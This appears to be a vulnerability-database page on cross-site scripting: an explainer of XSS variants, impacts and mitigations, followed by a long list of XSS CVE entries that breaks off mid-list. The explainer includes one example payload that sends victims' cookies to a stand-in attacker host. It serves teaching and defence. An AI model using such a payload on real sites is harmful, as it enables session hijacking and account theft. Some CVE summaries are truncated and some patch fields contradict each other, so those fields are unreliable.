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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39320)

EPSS 2% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in Zoho SalesIQ 1.0.8 and earlier allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Zoho Salesiq
NVD
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

inc/user.class.php in GLPI before 9.4.3 allows XSS via a user picture. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS PHP Glpi
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

A reflected XSS on a user page was detected on one of the JetBrains TeamCity pages. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Teamcity
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

On BIG-IP (AFM, PEM) 14.1.0-14.1.0.5, 14.0.0-14.0.0.4, 13.0.0-13.1.1.4, 12.1.0-12.1.4, 11.6.1-11.6.3.4, and 11.5.1-11.5.8, an undisclosed TMUI pages for AFM and PEM Subscriber management are. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Big Ip Advanced Firewall Manager Big Ip Policy Enforcement Manager
NVD
EPSS 1% CVSS 8.4
HIGH This Week

On BIG-IP (AFM, ASM) 14.1.0-14.1.0.5, 14.0.0-14.0.0.4, 13.0.0-13.1.1.4, 12.1.0-12.1.4, and 11.5.1-11.6.4, a stored cross-site scripting vulnerability in AFM feed list. Rated high severity (CVSS 8.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS RCE CSRF +2
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

On BIG-IP (AFM, Analytics, ASM) 14.1.0-14.1.0.5, 14.0.0-14.0.0.4, 13.0.0-13.1.1.4, 12.1.0-12.1.4, and 11.5.1-11.6.3.4, A reflected cross-site scripting (XSS) vulnerability exists in an undisclosed. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Big Ip Advanced Firewall Manager Big Ip Analytics +1
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

On BIG-IP 14.1.0-14.1.0.5, 14.0.0-14.0.0.4, 13.0.0-13.1.1.4, 12.1.0-12.1.4, and 11.5.1-11.6.4, a reflected cross-site scripting (XSS) vulnerability exists in an undisclosed page of the BIG-IP Traffic. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Big Ip Local Traffic Manager Big Ip Application Acceleration Manager +11
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

In MiniCMS V1.10, stored XSS was found in mc-admin/post-edit.php via the tags box. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Minicms
NVD GitHub
EPSS 56% CVSS 6.1
MEDIUM POC THREAT This Month

Linear eMerge E3-Series devices allow XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Linear Emerge Essential Firmware Linear Emerge Elite Firmware
NVD Exploit-DB
EPSS 1% CVSS 6.1
MEDIUM This Month

IBM Planning Analytics 2.0 is vulnerable to cross-site scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS IBM Planning Analytics
NVD
EPSS 1% CVSS 3.3
LOW Monitor

Content Injection vulnerability in Tenable Nessus prior to 8.5.0 may allow an authenticated, local attacker to exploit this vulnerability by convincing another targeted Nessus user to view a. Rated low severity (CVSS 3.3), this vulnerability is no authentication required, low attack complexity. No vendor patch available.

XSS Nessus
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in Palo Alto Networks MineMeld version 0.9.60 and earlier may allow a remote attacker able to convince an authenticated MineMeld admin to type malicious input in. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Paloalto XSS Minemeld
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

IBM Business Automation Workflow 18.0.0.0, 18.0.0.1, 18.0.0.2, and 19.0.0.1 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Business Automation Workflow +1
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

A Cross-Frame Scripting vulnerability in IBM InfoSphere Information Server 11.3, 11.5, and 11.7 can allow an attacker to load the vulnerable application inside an HTML iframe tag on a malicious page. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS IBM Infosphere Information Server +2
NVD
EPSS 2% CVSS 6.1
MEDIUM POC PATCH This Month

An issue was discovered in mxGraph through 4.0.0, related to the "draw.io Diagrams" plugin before 8.3.14 for Confluence and other products. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

Atlassian XSS Draw Io Diagrams +1
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM POC This Month

XSS was discovered in SquirrelMail through 1.4.22 and 1.5.x through 1.5.2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Squirrelmail
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in Chart in Synology Office before 3.1.4-2771 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Synology Microsoft +1
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in SYNO.NoteStation.Shard in Synology Note Station before 2.5.3-0863 allows remote attackers to inject arbitrary web script or HTML via the object_id. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Synology Note Station
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in Event Editor in Synology Calendar before 2.3.0-0615 allows remote attackers to inject arbitrary web script or HTML via the title parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Synology Calendar
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Stored XSS in the Filters page (Name field) in ZoneMinder 1.32.3 allows a malicious user to embed and execute JavaScript code in the browser of any user who navigates to this page. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Zoneminder
NVD GitHub Exploit-DB
EPSS 52% CVSS 5.4
MEDIUM POC PATCH THREAT This Month

public/app/features/panel/panel_ctrl.ts in Grafana before 6.2.5 allows HTML Injection in panel drilldown links (via the Title or url field). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Grafana
NVD GitHub Exploit-DB
EPSS 1% CVSS 6.1
MEDIUM This Month

A stored XSS vulnerability was found in SeedDMS 5.1.11 due to poorly escaping the search result in the autocomplete search form placed in the header of out/out.Viewfolder.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS PHP Seeddms
NVD
EPSS 1% CVSS 6.5
MEDIUM This Month

A stored cross-site scripting (XSS) vulnerability was found in the PDF export component of CloudForms, versions 5.9 and 5.10, due to user input is not properly sanitized. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS RCE CSRF +1
NVD
EPSS 6% CVSS 6.1
MEDIUM POC PATCH This Month

A reflective Cross-site scripting (XSS) vulnerability in the free_time_failed.cgi CGI program in selected Zyxel ZyWall, USG, and UAG devices allows remote attackers to inject arbitrary web script or. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Zyxel Uag2100 Firmware +8
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

IBM Jazz Foundation products (IBM Rational Collaborative Lifecycle Management 6.0 through 6.0.6.1) is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS IBM Rational Collaborative Lifecycle Management +6
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

IBM Rational Collaborative Lifecycle Management 6.0 through 6.0.6.1 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS IBM Rational Collaborative Lifecycle Management +6
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

IBM Jazz Foundation products (IBM Rational Collaborative Lifecycle Management 6.0 through 6.0.6.1) is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS IBM Rational Collaborative Lifecycle Management +6
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Nessus versions 8.4.0 and earlier were found to contain a reflected XSS vulnerability due to improper validation of user-supplied input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Nessus
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

IBM Security Access Manager 9.0.1 through 9.0.6 is vulnerable to cross-site scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Security Access Manager
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

LiveZilla Server before 8.0.1.1 is vulnerable to XSS in the ticket.php Subject. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Livezilla
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

LiveZilla Server before 8.0.1.1 is vulnerable to XSS in the chat.php Create Ticket Action. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Livezilla
NVD
EPSS 9% CVSS 6.1
MEDIUM POC This Month

LiveZilla Server before 8.0.1.1 is vulnerable to XSS in mobile/index.php via the Accept-Language HTTP header. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Livezilla
NVD Exploit-DB
EPSS 3% CVSS 6.1
MEDIUM POC This Month

In pfSense 2.4.4-p2 and 2.4.4-p3, if it is possible to trick an authenticated administrator into clicking on a button on a phishing page, an attacker can leverage XSS to upload arbitrary executable. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Pfsense
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

In the miniOrange SAML SP Single Sign On plugin before 4.8.73 for WordPress, the SAML Login Endpoint is vulnerable to XSS via a specially crafted SAMLResponse XML post. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Saml Sp Single Sign On
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Stored XSS within Quadbase EspressReport ES (ERES) v7.0 update 7 allows remote attackers to execute malicious JavaScript and inject arbitrary source code into the target pages. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS CSRF Espressreport Es
NVD
EPSS 1% CVSS 4.3
MEDIUM This Month

BCN Quark Quarking Password Manager 3.1.84 suffers from a clickjacking vulnerability caused by allowing * within web_accessible_resources. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Quarking Password Manager
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

A potential XSS exists in Self Service Password Reset, in Micro Focus NetIQ Software all versions prior to version 4.4. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Netiq Self Service Password Reset
NVD
EPSS 3% CVSS 6.1
MEDIUM POC PATCH This Month

Shopware before 5.5.8 has XSS via the Query String to the backend/Login or backend/Login/load/ URI. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Shopware
NVD
EPSS 3% CVSS 5.4
MEDIUM POC This Month

out/out.UsrMgr.php in SeedDMS before 5.1.11 allows Stored Cross-Site Scripting (XSS) via the name field. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Seeddms
NVD Exploit-DB
EPSS 4% CVSS 6.1
MEDIUM POC This Month

FileRun 2019.05.21 allows XSS via the filename to the ?module=fileman&section=do&page=up URI. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Filerun
NVD GitHub Exploit-DB
EPSS 1% CVSS 4.8
MEDIUM PATCH This Month

A vulnerability in the web-based management interface of Cisco Prime Service Catalog could allow an authenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity.

XSS Cisco Prime Service Catalog
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

An issue was discovered in Openfind Mail2000 6.0 and 7.0 Webmail. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Mail2000
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM This Month

Cross-Site Scripting vulnerability in Micro Focus Fortify Software Security Center Server, versions 17.2, 18.1, 18.2, has been identified in Micro Focus Software Security Center. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Fortify Software Security Center
NVD
EPSS 2% CVSS 4.8
MEDIUM POC This Month

DLP 15.5 MP1 and all prior versions may be susceptible to a cross-site scripting (XSS) vulnerability, a type of issue that can enable attackers to inject client-side scripts into web pages viewed by. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Data Loss Prevention
NVD Exploit-DB
EPSS 1% CVSS 5.4
MEDIUM This Month

IBM Maximo Asset Management 7.6 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS IBM Maximo Asset Management +9
NVD
EPSS 5% CVSS 6.1
MEDIUM This Month

In Apache Allura prior to 1.11.0, a vulnerability exists for stored XSS on the user dropdown selector when creating or editing tickets. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Apache Allura
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

A universal Cross-site scripting (UXSS) vulnerability in the Evernote Web Clipper extension before 7.11.1 for Chrome allows remote attackers to run arbitrary web script or HTML in the context of any. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Google Web Clipper
NVD
EPSS 3% CVSS 6.1
MEDIUM POC This Month

An XSS issue was discovered in i-doit Open 1.12 via the src/tools/php/qr/qr.php url parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS PHP I Doit
NVD Exploit-DB
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Craft CMS before 3.1.31 does not properly filter XML feeds and thus allowing XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Craft Cms
NVD GitHub
EPSS 87% CVSS 8.8
HIGH POC PATCH THREAT Act Now

app/operator_panel/exec.php in the Operator Panel module in FusionPBX 4.4.3 suffers from a command injection vulnerability due to a lack of input validation that allows authenticated. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

PHP RCE XSS +2
NVD GitHub Exploit-DB
EPSS 2% CVSS 6.1
MEDIUM POC This Month

out/out.GroupMgr.php in SeedDMS 5.1.11 has Stored XSS by making a new group with a JavaScript payload as the "GROUP" Name. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS PHP Seeddms
NVD Exploit-DB
EPSS 7% CVSS 6.1
MEDIUM POC PATCH This Month

XSS in app/operator_panel/index_inc.php in the Operator Panel module in FusionPBX 4.4.3 allows remote unauthenticated attackers to inject arbitrary JavaScript characters by placing a phone call using. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Command Injection RCE +2
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM This Month

HP Color LaserJet Pro M280-M281 Multifunction Printer series (before v. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS HP T6B80A Firmware +9
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

HP Color LaserJet Pro M280-M281 Multifunction Printer series (before v. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS HP T6B80A Firmware +9
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

IBM Cognos Controller 10.2.0, 10.2.1, 10.3.0, 10.3.1, and 10.4.0 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Cognos Controller
NVD
EPSS 1% CVSS 8.7
HIGH POC This Week

In MyBB before 1.8.21, an attacker can exploit a parsing flaw in the Private Message / Post renderer that leads to [video] BBCode persistent XSS to take over any forum account, aka a nested video. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Mybb
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

SAP NetWeaver Process Integration, versions: SAP_XIESR: 7.20, SAP_XITOOL: 7.10 to 7.11, 7.30, 7.31, 7.40, 7.50, does not sufficiently validate user-controlled inputs, which allows an attacker. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS SAP Netweaver Process Integration
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

SAP BusinessObjects Business Intelligence Platform (Administration Console), versions 4.2, 4.3, module BILogon/appService.jsp is reflecting requested parameter errMsg into response content without. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS SAP Businessobjects
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

IBM Connections 6.0 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS IBM Connections
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

There is a reflection XSS vulnerability in the HedEx products. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Hedex Lite
NVD
EPSS 2% CVSS 7.4
HIGH PATCH This Week

Reflected XSS in web interface for Intel(R) Accelerated Storage Manager in Intel(R) RSTe before version 5.5.0.2015 may allow an unauthenticated user to potentially enable denial of service via. Rated high severity (CVSS 7.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Denial Of Service Intel +5
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Automotive Dealer Portal in SAP R/3 Enterprise Application (versions: 600, 602, 603, 604, 605, 606, 616, 617) does not sufficiently encode user-controlled inputs, this makes it possible for an. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS SAP R 3 Enterprise
NVD
EPSS 1% CVSS 6.8
MEDIUM This Month

An authenticated attacker in SAP E-Commerce (Business-to-Consumer application), versions 7.3, 7.31, 7.32, 7.33, 7.54, can change the price of the product to zero and also checkout, by injecting an. Rated medium severity (CVSS 6.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS SAP E Commerce
NVD
EPSS 1% CVSS 4.3
MEDIUM This Month

Java Server Pages (JSPs) provided by the SAP NetWeaver Process Integration (SAP_XIESR and SAP_XITOOL: 7.10 to 7.11, 7.20, 7.30, 7.31, 7.40, 7.50) do not restrict or incorrectly restrict frame objects. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Java SAP +1
NVD
EPSS 1% CVSS 9.0
CRITICAL Act Now

It was found that Picketlink as shipped with Jboss Enterprise Application Platform 7.2 would accept an xinclude parameter in SAMLresponse XML. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Jboss Enterprise Application Platform Single Sign On
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

It was found that a SAMLRequest containing a script could be processed by Picketlink versions shipped in Jboss Application Platform 7.2.x and 7.1.x. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Jboss Enterprise Application Platform Single Sign On
NVD
EPSS 2% CVSS 5.4
MEDIUM PATCH This Month

A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Microsoft Project Server +3
NVD
EPSS 2% CVSS 5.4
MEDIUM PATCH This Month

A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Microsoft Project Server +3
NVD
EPSS 2% CVSS 5.4
MEDIUM PATCH This Month

A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Microsoft Sharepoint Enterprise Server +1
NVD
EPSS 2% CVSS 5.4
MEDIUM PATCH This Month

A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Microsoft Project Server +3
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

All versions up to V20.18.40.R7.B1of ZTE NetNumen DAP product have an XSS vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Zte Netnumen Dap Firmware
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

An issue was discovered in Joomla!. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Joomla
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

A reflected cross site scripting vulnerability in Jenkins ElectricFlow Plugin 1.1.6 and earlier allowed attackers able to control the output of the ElectricFlow API to inject arbitrary HTML and. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Jenkins Electricflow
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

A stored cross site scripting vulnerability in Jenkins ElectricFlow Plugin 1.1.5 and earlier allowed attackers able to configure jobs in Jenkins or control the output of the ElectricFlow API to. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Jenkins Electricflow
NVD
EPSS 5% CVSS 5.4
MEDIUM POC This Month

HTML Injection has been discovered in the v0.19.0 version of the Fat Free CRM product via an authenticated request to the /comments URI. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Fat Free Crm
NVD GitHub Exploit-DB
EPSS 1% CVSS 6.1
MEDIUM This Month

XSS on the PIX-Link Repeater/Router LV-WR09 with firmware v28K.MiniRouter.20180616 allows attackers to steal credentials without being connected to the network. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Lv Wr09 Firmware
NVD
EPSS 1% CVSS 4.3
MEDIUM This Month

There is a Clickjacking vulnerability in Huawei HG255s product. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Huawei Hg255S Firmware
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A number of stored XSS vulnerabilities have been identified in the web configuration feature in ENTTEC Datagate Mk2 70044_update_05032019-482 that could allow an unauthenticated threat actor to. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Datagate Mk2 Firmware Storm 24 Firmware +2
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

IBM Intelligent Operations Center (IOC) 5.1.0 through 5.2.0 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS IBM Intelligent Operations Center +2
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

IBM Security Information Queue (ISIQ) 1.0.0, 1.0.1, and 1.0.2 could allow a remote attacker to hijack the clicking action of the victim. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS IBM Security Information Queue
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

MyBB 1.8.19 has XSS in the resetpassword function. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Mybb
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

An issue was discovered in PHP Scripts Mall API Based Travel Booking 3.4.7. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Api Based Travel Booking
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

PHP Scripts Mall Chartered Accountant : Auditor Website 2.0.1 has Stored XSS in the Profile Update page via the My Name field. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Auditor Website Project
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

